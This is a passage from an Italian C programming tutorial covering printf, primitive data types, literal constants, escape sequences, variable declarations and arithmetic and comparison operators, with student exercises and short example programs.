La funzione ***printf()*** emette attraverso lo standard output la stringa che costituisce il primo parametro, dopo averla rielaborata in base alla presenza di ***specificatori di conversione*** riferiti alle eventuali espressioni che compongono gli argomenti successivi; inoltre restituisce il numero di caratteri emessi.

L'utilizzo più semplice di ***printf()*** è quello che è già stato visto, cioè l'emissione di una stringa senza specificatori di conversione (il codice '**`\n`**' rappresenta un carattere preciso e non è uno specificatore, piuttosto si tratta di una cosiddetta sequenza di escape).

```
    printf ("Ciao mondo!\n");
```

La stringa può contenere degli specificatori di conversione del tipo '**`%d`**', '**`%c`**', '**`%f`**',... e questi fanno ordinatamente riferimento agli argomenti successivi. L'esempio seguente fa in modo che la stringa incorpori il valore del secondo argomento nella posizione in cui appare '**`%d`**':

```
    printf ("Totale fatturato: %d\n", 12345);
```

Lo specificatore di conversione '**`%d`**' stabilisce anche che il valore in questione deve essere trasformato secondo una rappresentazione decimale intera. Per cui, il risultato diviene esattamente quello che ci si aspetta.

```
Totale fatturato: 12345
```

92.1.4.1 Esercizio

Si vuole visualizzare il testo seguente:

```
Imponibile: 1000, IVA: 200.
```

Sulla base delle conoscenze acquisite, si completi l'istruzione seguente:

```
printf ("                              ", 1000, 200);
```

92.2 Variabili e tipi del linguaggio C

I tipi di dati elementari gestiti dal linguaggio C dipendono dall'architettura dell'elaboratore sottostante. In questo senso, volendo fare un discorso generale, è difficile definire la dimensione delle variabili numeriche; si possono dare solo delle definizioni relative. Solitamente, il riferimento è costituito dal tipo numerico intero ('**`int`**') la cui dimensione in bit corrisponde a quella della ***parola***, ovvero dalla capacità dell'unità aritmetico-logica del microprocessore, oppure a qualunque altra entità che il microprocessore sia in grado di gestire con la massima efficienza. In pratica, con l'architettura x86 a 32 bit, la dimensione di un intero normale è di 32 bit, ma rimane la stessa anche con l'architettura x86 a 64 bit.

I documenti che descrivono lo standard del linguaggio C, definiscono la «dimensione» di una variabile come ***rango*** (*rank*).

92.2.1 Bit, byte e caratteri

A proposito della gestione delle variabili, esistono pochi concetti che sembrano rimanere stabili nel tempo. Il riferimento più importante in assoluto è il byte, che per il linguaggio C è almeno di 8 bit, ma potrebbe essere più grande. Dal punto di vista del linguaggio C, il byte è l'elemento più piccolo che si possa indirizzare nella memoria centrale, questo anche quando la memoria fosse organizzata effettivamente a parole di dimensione maggiore del byte. Per esempio, in un elaboratore che suddivide la memoria in blocchi da 36 bit, si potrebbero avere byte da 9, 12, 18 bit o addirittura 36 bit.[4]

Una volta definito il byte, si considera che il linguaggio C rappresenti ogni variabile scalare come una sequenza continua di byte; pertanto, tutte le variabili scalari sono rappresentate come multipli di byte; di conseguenza anche le variabili strutturate lo sono, con la differenza che in tal caso potrebbero inserirsi dei «buchi» (in byte), dovuti alla necessità di allineare i dati in qualche modo.

Il tipo '**`char`**' (carattere), indifferentemente se si considera o meno il segno, rappresenta tradizionalmente una variabile numerica che occupa esattamente un byte, pertanto, spesso si confondono i termini «carattere» e «byte», nei documenti che descrivono il linguaggio C.

A causa della capacità limitata che può avere una variabile di tipo '**`char`**', il linguaggio C distingue tra un insieme di caratteri «minimo» e un insieme «esteso», da rappresentare però in altra forma.

92.2.1.1 Esercizio

Secondo la logica del linguaggio C, se un byte è formato da 8 bit, ci può essere una variabile scalare da 12 bit? Perché?

92.2.2 Tipi primitivi

I tipi di dati primitivi rappresentano un valore **numerico** singolo, nel senso che anche il tipo '**`char`**' viene trattato come un numero. Il loro elenco essenziale si trova nella tabella successiva.

Tabella 92.14. Elenco dei tipi comuni di dati primitivi elementari in C.

Tipo	Descrizione
`char`	Carattere (generalmente di 8 bit).
`int`	Intero normale.
`float`	Virgola mobile a precisione singola.
`double`	Virgola mobile a precisione doppia.

Come già accennato, non si può stabilire in modo generale quali siano le dimensioni esatte in bit dei vari tipi di dati, ovvero il rango, in quanto l'elemento certo è solo la relazione tra loro.

$$\text{char} \leq \text{int} \leq \text{float} \leq \text{double}$$

Questi tipi primitivi possono essere estesi attraverso l'uso di alcuni qualificatori: '**`short`**', '**`long`**', '**`long long`**', '**`signed`**'[5] e '**`unsigned`**'.[6] I primi tre si riferiscono al rango, mentre gli altri modificano il modo di valutare il contenuto di alcune variabili. La tabella successiva riassume i vari tipi primitivi con le combinazioni ammissibili dei qualificatori.

Tabella 92.16. Elenco dei tipi comuni di dati primitivi in C assieme ai qualificatori usuali.

Tipo	Abbreviazione	Descrizione
`char`		Tipo '**`char`**' per il quale non conta sapere se il segno viene considerato o meno.
`signed char`		Tipo '**`char`**' usato numericamente con segno.
`unsigned char`		Tipo '**`char`**' usato numericamente senza segno.
`short int` `signed short int`	`short` `signed short`	Intero più breve di '**`int`**', con segno.
`unsigned short int`	`unsigned short`	Tipo '**`short`**' senza segno.
`int` `signed int`		Intero normale, con segno.
`unsigned int`	`unsigned`	Tipo '**`int`**' senza segno.
`long int` `signed long int`	`long` `signed long`	Intero più lungo di '**`int`**', con segno.
`unsigned long int`	`unsigned long`	Tipo '**`long`**' senza segno.
`long long int` `signed long long int`	`long long` `signed long long`	Intero più lungo di '**`long int`**', con segno.
`unsigned long long int`	`unsigned long long`	Tipo '**`long long`**' senza segno.
`float`		Tipo a virgola mobile a precisione singola.
`double`		Tipo a virgola mobile a precisione doppia.
`long double`		Tipo a virgola mobile «più lungo» di '**`double`**'.

Così, il problema di stabilire le relazioni di rango si complica:

$$\text{char} \leq \text{short} \leq \text{int} \leq \text{long} \leq \text{long long}$$

$$\text{float} \leq \text{double} \leq \text{long double}$$

I tipi '**`long`**' e '**`float`**' potrebbero avere un rango uguale, altrimenti non è detto quale dei due sia più grande.

Il programma seguente, potrebbe essere utile per determinare il rango dei vari tipi primitivi nella propria piattaforma.[7]

```
#include <stdio.h>

int main (void)
{
    printf ("char          %d\n", (int) sizeof (char));
    printf ("short int     %d\n", (int) sizeof (short int));
    printf ("int           %d\n", (int) sizeof (int));
    printf ("long int      %d\n", (int) sizeof (long int));
    printf ("long long int %d\n", (int) sizeof (long long int));
    printf ("float         %d\n", (int) sizeof (float));
    printf ("double        %d\n", (int) sizeof (double));
    printf ("long double   %d\n", (int) sizeof (long double));
    getchar ();
    return 0;
}
```

Il risultato potrebbe essere simile a quello seguente:

```
char          1
short int     2
int           4
long int      4
long long int 8
float         4
double        8
long double   12
```

I numeri rappresentano la quantità di caratteri, nel senso di valori '**`char`**', per cui il tipo '**`char`**' dovrebbe sempre avere una dimensione unitaria.[8]

I tipi primitivi di variabili mostrati sono tutti utili alla memorizzazione di valori numerici, a vario titolo. A seconda che il valore in questione sia trattato con segno o senza segno, varia lo spettro di valori che possono essere contenuti.

Nel caso di interi ('**`char`**', '**`short`**', '**`int`**', '**`long`**' e '**`long long`**'), la variabile può essere utilizzata per tutta la sua estensione a contenere un numero binario. Pertanto, quando la rappresentazione è senza segno, il massimo valore ottenibile è $(2^n)-1$, dove n rappresenta il numero di bit a disposizione. Quando invece si vuole trattare il dato come un numero con segno, il valore numerico massimo ottenibile è circa la metà (se si usa la rappresentazione dei valori negativi in complemento a due, l'intervallo di valori va da $(2^{n-1})-1$ a $-(2^{n-1})$)

Nel caso di variabili a virgola mobile non c'è più la possibilità di rappresentare esclusivamente valori senza segno; inoltre, più che esserci un limite nella grandezza rappresentabile, c'è soprattutto un limite nel grado di approssimazione.

Le variabili '**`char`**' sono fatte, in linea di principio, per contenere il codice di rappresentazione di un carattere, secondo la codifica utilizzata nel sistema. Ma il fatto che questa variabile possa

essere gestita in modo numerico, permette una facile conversione da lettera a codice numerico corrispondente.

Un tipo di valore che non è stato ancora visto è quello logico: *Vero* è rappresentato da un qualsiasi valore numerico intero diverso da zero, mentre *Falso* corrisponde a zero.

92.2.2.1 Esercizio

Dovendo rappresentare numeri interi da 0 a 99999, può bastare una variabile scalare di tipo '**`unsigned char`**', sapendo che il tipo '**`char`**' utilizza 8 bit?

92.2.2.2 Esercizio

Qual è l'intervallo di valori che si possono rappresentare con una variabile di tipo '**`unsigned char`**', sapendo che il tipo '**`char`**' utilizza 8 bit?

Valore minimo	Valore massimo

92.2.2.3 Esercizio

Qual è l'intervallo di valori che si possono rappresentare con una variabile di tipo '**`signed short int`**', sapendo che il tipo '**`short int`**' utilizza 16 bit e che i valori negativi si esprimono attraverso il complemento a due?

Valore minimo	Valore massimo

92.2.2.4 Esercizio

Dovendo rappresentare il valore 12,34, è possibile usare una variabile di tipo '**`int`**'? Se non fosse possibile, quale tipo si potrebbe usare?

92.2.3 Costanti letterali comuni

Quasi tutti i tipi di dati primitivi hanno la possibilità di essere rappresentati in forma di costante letterale. In particolare, si distingue tra:

- costanti carattere, rappresentate da un carattere alfanumerico racchiuso tra apici singoli, come '**`'A'`**', '**`'B'`**',...;
- costanti intere, rappresentate da un numero senza decimali, e a seconda delle dimensioni può trattarsi di uno dei vari tipi di interi (escluso '**`char`**');
- costanti con virgola, rappresentate da un numero con decimali (un punto seguito da altre cifre, anche se si tratta solo di zeri) che, indipendentemente dalle dimensioni, di norma sono di tipo '**`double`**'.

Per esempio, 123 è generalmente una costante '**`int`**', mentre 123.0 è una costante '**`double`**'.

Le costanti che esprimono valori interi possono essere rappresentate con diverse basi di numerazione, attraverso l'indicazione di un prefisso: '**`0`*n***', dove ***n*** contiene esclusivamente cifre da zero a sette, viene inteso come un numero in base otto; '**`0x`*n***' o '**`0X`*n***', dove ***n*** può contenere le cifre numeriche consuete, oltre alle lettere da «A» a «F» (minuscole o maiuscole, indifferentemente) viene trattato come un numero in base sedici; negli altri casi, un numero composto con cifre da zero a nove è interpretato in base dieci.

Per quanto riguarda le costanti che rappresentano numeri con virgola, oltre alla notazione '***intero*.*decimali***' si può usare la notazione scientifica. Per esempio, '**`7e+15`**' rappresenta l'equivalente di $7 \cdot (10^{15})$, cioè un sette con 15 zeri. Nello stesso modo, '**`7e-5`**', rappresenta l'equivalente di $7 \cdot (10^{-5})$, cioè 0,00007.

Il tipo di rappresentazione delle costanti numeriche, intere o con virgola, può essere specificato aggiungendo un suffisso, costituito da una o più lettere, come si vede nelle tabelle successive. Per esempio, '**`123UL`**' è un numero di tipo '**`unsigned long int`**', mentre '**`123.0F`**' è un tipo '**`float`**'. Si osservi che il suffisso può essere composto, indifferentemente, con lettere minuscole o maiuscole.

Tabella 92.22. Suffissi per le costanti che esprimono valori interi.

Suffisso	Descrizione
assente	In tal caso si tratta di un intero «normale» o più grande, se necessario.
`U`	Tipo senza segno ('**`unsigned`**').
`L`	Intero più grande della dimensione normale ('**`long`**').
`LL`	Intero molto più grande della dimensione normale ('**`long long`**').
`UL`	Intero senza segno, più grande della dimensione normale ('**`unsigned long`**').
`ULL`	Intero senza segno, molto più grande della dimensione normale ('**`unsigned long long`**').

Tabella 92.23. Suffissi per le costanti che esprimono valori con virgola.

Suffisso	Descrizione
assente	Tipo '**`double`**'.
`F`	Tipo '**`float`**'.
`L`	Tipo '**`long double`**'.

È possibile rappresentare anche le stringhe in forma di costante attraverso l'uso degli apici doppi, ma la stringa non è un tipo di dati primitivo, trattandosi piuttosto di un array di caratteri. Per il momento è importante fare attenzione a non confondere il tipo '**`char`**' con la stringa. Per esempio, '**`'F'`**' è un carattere (con un proprio valore numerico), mentre '**`"F"`**' è una stringa, ma la differenza tra i due è notevole. Le stringhe vengono descritte nella sezione 77.5.

92.2.3.1 Esercizio

Indicare il valore, in base dieci, rappresentato dalle costanti che appaiono nella tabella successiva:

Costante	Valore corrispondente in base dieci
`12`	
`012`	
`0x12`	

92.2.3.2 Esercizio

Indicare i tipi delle costanti elencate nella tabella successiva:

Costante	Tipo corrispondente
`12`	
`12U`	
`12L`	
`1.2`	
`1.2L`	

92.2.4 Caratteri privi di rappresentazione grafica

I caratteri privi di rappresentazione grafica possono essere indicati, principalmente, attraverso tre tipi di notazione: ottale, esadecimale e simbolica. In tutti i casi si utilizza la barra obliqua inversa ('`\`') come carattere di escape, cioè come simbolo per annunciare che ciò che segue immediatamente deve essere interpretato in modo particolare.

La notazione ottale usa la forma '`\`***ooo***', dove ogni lettera ***o*** rappresenta una cifra ottale. A questo proposito, è opportuno notare che se la dimensione di un carattere fosse superiore ai fatidici 8 bit, occorrerebbero probabilmente più cifre (una cifra ottale rappresenta un gruppo di 3 bit).

La notazione esadecimale usa la forma '`\x`***hh***', dove ***h*** rappresenta una cifra esadecimale. Anche in questo caso vale la considerazione per cui ci vogliono più di due cifre esadecimali per rappresentare un carattere più lungo di 8 bit.

Dovrebbe essere logico, ma è il caso di osservare che la corrispondenza dei caratteri con i rispettivi codici numerici dipende dalla codifica utilizzata. Generalmente si utilizza la codifica ASCII, riportata anche nella sezione 58.5 (in questa fase introduttiva si omette di trattare la rappresentazione dell'insieme di caratteri universale).

La notazione simbolica permette di fare riferimento facilmente a codici di uso comune, quali <*CR*>, <*HT*>,... Inoltre, questa notazione permette anche di indicare caratteri che altrimenti verrebbero interpretati in maniera differente dal compilatore. La tabella successiva riporta i vari tipi di rappresentazione delle costanti carattere attraverso codici di escape.

Tabella 92.26. Elenco dei modi di rappresentazione delle costanti carattere attraverso codici di escape.

Codice	ASCII	Altra codifica
`\`***ooo***	Notazione ottale in base alla codifica.	idem
`\x`***hh***	Notazione esadecimale in base alla codifica.	idem
`\\`	Una singola barra obliqua inversa ('****').	idem
`\'`	Un apice singolo destro.	idem
`\"`	Un apice doppio.	idem
`\?`	Un punto interrogativo (per impedire che venga inteso come parte di una sequenza triplice, o *trigraph*).	idem
`\0`	Il codice <*NUL*>.	Il carattere nullo (con tutti i bit a zero).
`\a`	Il codice <*BEL*> (*bell*).	Il codice che, rappresentato sullo schermo o sulla stampante, produce un segnale acustico (*alert*).
`\b`	Il codice <*BS*> (*backspace*).	Il codice che fa arretrare il cursore di una posizione nella riga (*backspace*).
`\f`	Il codice <*FF*> (*form feed*).	Il codice che fa avanzare il cursore all'inizio della prossima pagina logica (*form feed*).
`\n`	Il codice <*LF*> (*line feed*).	Il codice che fa avanzare il cursore all'inizio della prossima riga logica (*new line*).
`\r`	Il codice <*CR*> (*carriage return*).	Il codice che porta il cursore all'inizio della riga attuale (*carriage return*).
`\t`	Una tabulazione orizzontale (<*HT*>).	Il codice che porta il cursore all'inizio della prossima tabulazione orizzontale (*horizontal tab*).
`\v`	Una tabulazione verticale (<*VT*>).	Il codice che porta il cursore all'inizio della prossima tabulazione verticale (*vertical tab*).

A parte i casi di '***ooo***' e '**\x*hh***', le altre sequenze esprimono un concetto, piuttosto di un codice numerico preciso. All'origine del linguaggio C, tutte le altre sequenze corrispondono a un solo carattere non stampabile, ma attualmente non è più garantito che sia così. In particolare, la sequenza '**\n**', nota come *new-line*, potrebbe essere espressa in modo molto diverso rispetto al codice <*LF*> tradizionale. Questo concetto viene comunque approfondito a proposito della gestione dei flussi di file.

In varie situazioni, il linguaggio C standard ammette l'uso di sequenze composte da due o tre caratteri, note come *digraph* e *trigraph* rispettivamente; ciò in sostituzione di simboli la cui rappresentazione, in quel contesto, può essere impossibile. In un sistema che ammetta almeno l'uso della codifica ASCII per scrivere il file sorgente, con l'ausilio di una tastiera comune, non c'è alcun bisogno di usare tali artifici, i quali, se usati, renderebbero estremamente complessa la lettura del sorgente. Pertanto, è bene sapere che esistono queste cose, ma è meglio non usarle mai. Tuttavia, siccome le sequenze a tre caratteri (*trigraph*) iniziano con una coppia di punti interrogativi, se in una stringa si vuole rappresentare una sequenza del genere, per evitare che il compilatore la traduca diversamente, è bene usare la sequenza '**\?\?**', come suggerisce la tabella.

Nell'esempio introduttivo appare già la notazione '**\n**' per rappresentare l'inserzione di un codice di interruzione di riga alla fine del messaggio di saluto:

```
...
    printf ("Ciao mondo!\n");
...
```

Senza di questo, il cursore resterebbe a destra del messaggio alla fine dell'esecuzione di quel programma, ponendo lì l'invito.

92.2.5 Valore numerico delle costanti carattere

Il linguaggio C distingue tra i caratteri di un insieme fondamentale e ridotto, da quelli dell'insieme di caratteri universale (ISO 10646). Il gruppo di caratteri ridotto deve essere rappresentabile in una variabile '**char**' (descritta nelle sezioni successive) e può essere gestito direttamente in forma numerica, se si conosce il codice corrispondente a ogni simbolo (di solito si tratta della codifica ASCII).

Se si può essere certi che nella codifica le lettere dell'alfabeto latino siano disposte esattamente in sequenza (come avviene proprio nella codifica ASCII), si potrebbe scrivere '**'A'+1**' e ottenere l'equivalente di '**'B'**'. Tuttavia, lo standard prescrive che sia garantito il funzionamento solo per le cifre numeriche. Pertanto, per esempio, '**'0'+3**' (zero espresso come carattere, sommato a un tre numerico) deve essere equivalente a '**'3'**' (ovvero un «tre» espresso come carattere).

```
#include <stdio.h>

int main (void)
{
    char c;
    for (c = '0'; c <= 'Z'; c++)
      {
        printf ("%c", c);
      }
    printf ("\n");
    getchar ();
    return 0;
}
```

Il programma di esempio che si vede nel listato appena mostrato, se prodotto per un ambiente in cui si utilizza la codifica ASCII, genera il risultato seguente:

```
0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ
```

92.2.5.1 Esercizio

Indicare che valore si ottiene dalle espressioni elencate nella tabella successiva. Il primo caso appare risolto, come esempio:

Espressione	Costante carattere equivalente
'3'+1	'4'
'3'-2	
'5'+4	

92.2.6 Campo di azione delle variabili

Il campo di azione delle variabili in C viene determinato dalla posizione in cui queste vengono dichiarate e dall'uso di qualificatori particolari. Nella fase iniziale dello studio del linguaggio basta considerare, approssimativamente, che quanto dichiarato all'interno di una funzione ha valore locale per la funzione stessa, mentre quanto dichiarato al di fuori, ha valore globale per tutto il file. Pertanto, in questo capitolo si usano genericamente le definizioni di «variabile locale» e «variabile globale», senza affrontare altre questioni. Nella sezione 77.3 viene trattato questo argomento con maggiore dettaglio.

92.2.7 Dichiarazione delle variabili

La dichiarazione di una variabile avviene specificando il tipo e il nome della variabile, come nell'esempio seguente dove viene creata la variabile ***numero*** di tipo intero:

```
int numero;
```

La variabile può anche essere inizializzata contestualmente, assegnandole un valore, come nell'esempio seguente in cui viene dichiarata la stessa variabile ***numero*** con il valore iniziale di 1000:

```
int numero = 1000;
```

Una costante è qualcosa che non varia e generalmente si rappresenta attraverso una notazione che ne definisce il valore, ovvero attraverso una costante letterale. Tuttavia, a volte può essere più comodo definire una costante in modo simbolico, come se fosse una variabile, per facilitarne l'utilizzo e la sua identificazione all'interno del programma. Si ottiene questo con il modificatore '**`const`**'. Ovviamente, è obbligatorio inizializzala contestualmente alla sua dichiarazione. L'esempio seguente dichiara la costante simbolica ***pi*** con il valore del π:

```
const float pi = 3.14159265;
```

Le costanti simboliche di questo tipo, sono delle variabili per le quali il compilatore non concede che avvengano delle modifiche; pertanto, il programma eseguibile che si ottiene potrebbe essere organizzato in modo tale da caricare questi dati in segmenti di memoria a cui viene lasciato poi il solo permesso di lettura.

Tradizionalmente, l'uso di costanti simboliche di questo tipo è stato limitato, preferendo delle ***macro-variabili*** definite e gestite attraverso il precompilatore (come viene descritto nella sezione 77.2). Tuttavia, un compilatore ottimizzato è in grado di gestire al meglio le costanti definite nel modo illustrato dall'esempio, utilizzando anche dei valori costanti letterali nella trasformazione in linguaggio assemblatore, rendendo così indifferente, dal punto di vista del risultato, l'alternativa delle macro-variabili. Pertanto, la stessa guida *GNU coding standards* chiede di definire le costanti come variabili-costanti, attraverso il modificatore '**`const`**'.

92.2.7.1 Esercizio

Indicare le istruzioni di dichiarazione delle variabili descritte nella tabella successiva. I primi due casi appaiono risolti, come esempio:

Descrizione	Dichiarazione corrispondente
Variabile «a» in qualità di carattere senza segno.	`unsigned char x;`
Variabile «b» in qualità di carattere senza segno, inizializzata al valore 21.	`unsigned char x = 21;`
Variabile «d» in qualità di intero normale (con segno).	
Variabile «e» in qualità di intero più grande del solito, senza segno, inizializzata al valore 2111.	
Variabile «f» inizializzata al valore 21,11.	
Costante simbolica «g» inizializzata al valore 21,11.	

92.2.8 Il tipo indefinito: «void»

Lo standard del linguaggio C definisce un tipo particolare di valore, individuato dalla parola chiave '**`void`**'. Si tratta di un valore indefinito che a seconda del contesto può rappresentare il nulla o qualcosa da ignorare esplicitamente. A ogni modo, volendo ipotizzare una variabile di tipo '**`void`**', questa occuperebbe zero byte.

92.3 Operatori ed espressioni del linguaggio C

L'operatore è qualcosa che esegue un qualche tipo di funzione, su uno o più operandi, restituendo un valore.[9] Il valore restituito è di tipo diverso a seconda degli operandi utilizzati. Per esempio, la somma di due interi genera un risultato intero. Gli operandi descritti di seguito sono quelli più comuni e importanti.

Le espressioni sono formate spesso dalla valutazione di sottoespressioni (espressioni più piccole). Va osservato che ci sono circostanze in cui il contesto non impone che ci sia un solo ordine possibile nella valutazione delle sottoespressioni, ma il programmatore deve tenere

conto di questa possibilità, per evitare che il risultato dipenda dalle scelte non prevedibili del compilatore.

Tabella 92.35. Ordine di precedenza tra gli operatori previsti nel linguaggio C. Gli operatori sono raggruppati a livelli di priorità equivalente, partendo dall'alto con la priorità maggiore, scendendo progressivamente alla priorità minore. Le variabili ***a***, ***b*** e ***c*** rappresentano la collocazione delle sottoespressioni da considerare ed esprimono l'ordine di associatività: prima ***a***, poi ***b***, poi ***c***.

<table>
<tr><th>Operatori</th><th>Annotazioni</th></tr>
<tr><td>(a)
[a]
a->b   a.b</td><td>Le parentesi tonde usate per raggruppare una porzione di espressione hanno la precedenza su ogni altro operatore. Le parentesi quadre riguardano gli array; gli operatori '->' e '.', riguardano le strutture e le unioni.</td></tr>
<tr><td>!a   ~a   ++a   --a   +a   -a
*a   &a
(tipo)   sizeof a</td><td>Gli operatori '+' e '-' di questo livello sono da intendersi come «unari», ovvero si riferiscono al segno di quanto appare alla loro destra. Gli operatori '*' e '&' di questo livello riguardano la gestione dei puntatori; le parentesi tonde si riferiscono al cast.</td></tr>
<tr><td>a*b   a/b   a%b</td><td>Moltiplicazione, divisione e resto della divisione intera.</td></tr>
<tr><td>a+b   a-b</td><td>Somma e sottrazione.</td></tr>
<tr><td>a<<b   a>>b</td><td>Scorrimento binario.</td></tr>
<tr><td>a<b   a<=b   a>b   a=>b</td><td>Confronto.</td></tr>
<tr><td>a==b   a!=b</td><td>Confronto.</td></tr>
<tr><td>a&b</td><td>AND bit per bit.</td></tr>
<tr><td>a^b</td><td>XOR bit per bit.</td></tr>
<tr><td>a|b</td><td>OR bit per bit.</td></tr>
<tr><td>a&&b</td><td>AND nelle espressioni logiche.</td></tr>
<tr><td>a||b</td><td>OR nelle espressioni logiche.</td></tr>
<tr><td>c?b:a</td><td>Operatore condizionale</td></tr>
<tr><td>b=a   b+=a   b-=a
b*=a   b/=a   b%=a
b&=a   b^=a   b|=a
b<<=a   b>>=a</td><td>Operatori di assegnamento.</td></tr>
<tr><td>a, b</td><td>Sequenza di espressioni (espressione multipla).</td></tr>
</table>

92.3.1 Tipo del risultato di un'espressione

Un'espressione è un qualche cosa composto da operandi e da operatori, che nel complesso si traduce in un qualche risultato. Per esempio, '**`5+6`**' è un'espressione aritmetica che si traduce nel numero 11. Così come le variabili, le costanti simboliche e le costanti letterali, hanno un tipo, con il quale si definisce in che modo vengono rappresentate in memoria, anche il risultato delle espressioni ha un tipo, in quanto tale risultato deve poi essere rappresentabile in memoria in qualche modo.

La regola che definisce di che tipo è il risultato di un'espressione è piuttosto articolata, ma in generale è sufficiente rendersi conto che si tratta della scelta più logica in base al contesto. Per esempio, l'espressione già vista, '**`5+6`**', essendo la somma di due interi con segno, dovrebbe dare come risultato un intero con segno. Nello stesso modo, un'espressione del tipo '**`5.1-6.3`**', essendo costituita da operandi in virgola mobile (precisamente '**`double`**'), dà il risultato −1,2, rappresentato sempre in virgola mobile (sempre '**`double`**'). Va osservato che la regola di principio vale anche per le divisioni, per cui '**`11/2`**' dà 5, di tipo intero ('**`int`**'), perché per avere un risultato in virgola mobile occorrerebbe invece scrivere '**`11.0/2.0`**'.

Si osservi che se in un'espressione si mescolano operandi interi assieme a operandi in virgola mobile, il risultato dell'espressione dovrebbe essere di tipo a virgola mobile. Per esempio, '**`5+6.3`**' dà il valore 11,3, in virgola mobile ('**`double`**'). Inoltre, se gli operandi hanno tra loro un rango differente, dovrebbe prevalere il rango maggiore.

92.3.1.1 Esercizio

Indicare il tipo che si dovrebbe ottenere dalla valutazione delle espressioni proposte. Il primo caso appare risolto, come esempio:

Espressione	Tipo che dovrebbe avere il risultato dell'espressione
`4+3.5`	`double`
`4+4`	
`4/3`	
`4.0/3`	
`4L*3`	

92.3.2 Operatori aritmetici

Gli operatori che intervengono su valori numerici sono elencati nella tabella successiva. Per dare un significato alle descrizioni della tabella, occorre tenere presenta una caratteristica importante del linguaggio, per la quale, la maggior parte delle espressioni restituisce un valore. Per esempio, '**`b = a = 1`**' fa sì che la variabile ***a*** ottenga il valore 1 e che, successivamente, la variabile ***b*** ottenga il valore di ***a***. In questo senso, al problema dell'ordine di precedenza dei vari operatori si aggiunge anche l'ordine in cui le espressioni restituiscono un valore. Per esempio, '**`d = e++`**' comporta l'incremento di una unità del contenuto della variabile ***e***, ma

ciò solo **dopo** averne restituito il valore che viene assegnato alla variabile ***d***. Pertanto, se inizialmente la variabile ***e*** contiene il valore 1, dopo l'elaborazione dell'espressione completa, la variabile ***d*** contiene il valore 1, mentre la variabile ***e*** contiene il valore 2.

Tabella 92.37. Elenco degli operatori aritmetici e di quelli di assegnamento relativi a valori numerici.

Operatore e operandi	Descrizione
`++`***op***	Incrementa di un'unità l'operando prima che venga restituito il suo valore.
op`++`	Incrementa di un'unità l'operando dopo averne restituito il suo valore.
`--`***op***	Decrementa di un'unità l'operando prima che venga restituito il suo valore.
op`--`	Decrementa di un'unità l'operando dopo averne restituito il suo valore.
`+`***op***	Non ha alcun effetto.
`-`***op***	Inverte il segno dell'operando (prima di restituirne il valore).
op1 `+` ***op2***	Somma i due operandi.
op1 `-` ***op2***	Sottrae dal primo il secondo operando.
op1 `*` ***op2***	Moltiplica i due operandi.
op1 `/` ***op2***	Divide il primo operando per il secondo.
op1 `%` ***op2***	Calcola il resto della divisione tra il primo e il secondo operando, i quali devono essere costituiti da valori interi.
var `=` ***valore***	Assegna alla variabile il valore alla destra.
op1 `+=` ***op2***	***op1*** `=` `(`***op1*** `+` ***op2***`)`
op1 `-=` ***op2***	***op1*** `=` `(`***op1*** `-` ***op2***`)`
op1 `*=` ***op2***	***op1*** `=` `(`***op1*** `*` ***op2***`)`
op1 `/=` ***op2***	***op1*** `=` `(`***op1*** `/` ***op2***`)`
op1 `%=` ***op2***	***op1*** `=` `(`***op1*** `%` ***op2***`)`

92.3.2.1 Esercizio

Osservando i pezzi di codice indicati, si scriva il valore contenuto nelle variabili a cui si assegna un valore, attraverso l'elaborazione di un'espressione. Il primo caso appare risolto, come esempio:

Codice	Valore contenuto nelle variabili dopo l'esecuzione del codice mostrato

`int a = 3;`
`int b;`
`b = a++;`
	a contiene 4;
	b contiene 3.

`int a = 3;`
`int b;`
`b = --a;`	

`int a = 3;`
`int b = 2;`
`b = a + b;`	

`int a = 7;`
`int b = 2;`
`b = a % b;`	

`int a = 7;`
`int b;`
`b = (a = a * 2);`	

`int a = 3;`
`int b = 2;`
`b += a;`	

`int a = 7;`
`int b = 2;`
`b %= a;`	

`int a = 7;`
`int b;`
`b = (a *= 2);`	

92.3.2.2 Esercizio

Scrivere diversi programmi per verificare l'esercizio precedente. Viene proposto il primo, da usare come modello per gli altri:

```
#include <stdio.h>
int main (void)
{
    int a = 3;
    int b;
    b = a++;
    printf ("a contiene %d;\n", a);
    printf ("b contiene %d.\n", b);
    getchar ();
    return 0;
}
```

92.3.3 Operatori di confronto

Gli operatori di confronto determinano la relazione tra due operandi. Il risultato dell'espressione composta da due operandi posti a confronto è un numero intero ('**`int`**') e precisamente si ottiene uno se il confronto è valido e zero in caso contrario. Gli operatori di confronto sono elencati nella tabella successiva.

Il linguaggio C non ha una rappresentazione specifica per i valori booleani *Vero* e *Falso*,[10] ma si limita a interpretare un valore pari a zero come *Falso* e un valore diverso da zero come *Vero*. Va osservato, quindi, che il numero usato come valore booleano, può essere espresso anche in virgola mobile, benché sia preferibile di gran lunga un intero normale.

Tabella 92.40. Elenco degli operatori di confronto. Le metavariabili indicate rappresentano gli operandi e la loro posizione.

Operatore e operandi	Descrizione
op1 `==` ***op2***	1 (*Vero*) se gli operandi si equivalgono.
op1 `!=` ***op2***	1 (*Vero*) se gli operandi sono differenti.
op1 `<` ***op2***	1 (*Vero*) se il primo operando è minore del secondo.
op1 `>` ***op2***	1 (*Vero*) se il primo operando è maggiore del secondo.
op1 `<=` ***op2***	1 (*Vero*) se il primo operando è minore o uguale al secondo.
op1 `>=` ***op2***	1 (*Vero*) se il primo operando è maggiore o uguale al secondo.

92.3.3.1 Esercizio

Osservando i pezzi di codice indicati, si scriva il valore contenuto nella variabile ***c***. Il primo caso appare risolto, come esempio:

Codice	Valore contenuto nella variabile ***c*** l'esecuzione del codice mostrato

`int a = 5;`
`signed char b = -4;`
`int c = a > b;`
	c contiene 1.

`int a = 4 + 1;`
`signed char b = 5;`
`int c = a == b;`	

`int a = 4 + 1;`
`signed char b = 5;`
`int c = a != b;`	

`unsigned int a = 4 + 3;`
`signed char b = -5;`
`int c = a >= b;`	

`unsigned int a = 4 + 3;`
`signed char b = -5;`
`int c = a <= b;`	

92.3.3.2 Esercizio

Scrivere diversi programmi per verificare l'esercizio precedente. Viene proposto il primo, da usare come modello per gli altri:

```
#include <stdio.h>
int main (void)
{
    int a = 5;
    signed char b = -4;
    int c = a > b;
    printf ("(%d > %d) produce %d\n", a, b, c);
    getchar ();
    return 0;
}
```

92.3.4 Operatori logici

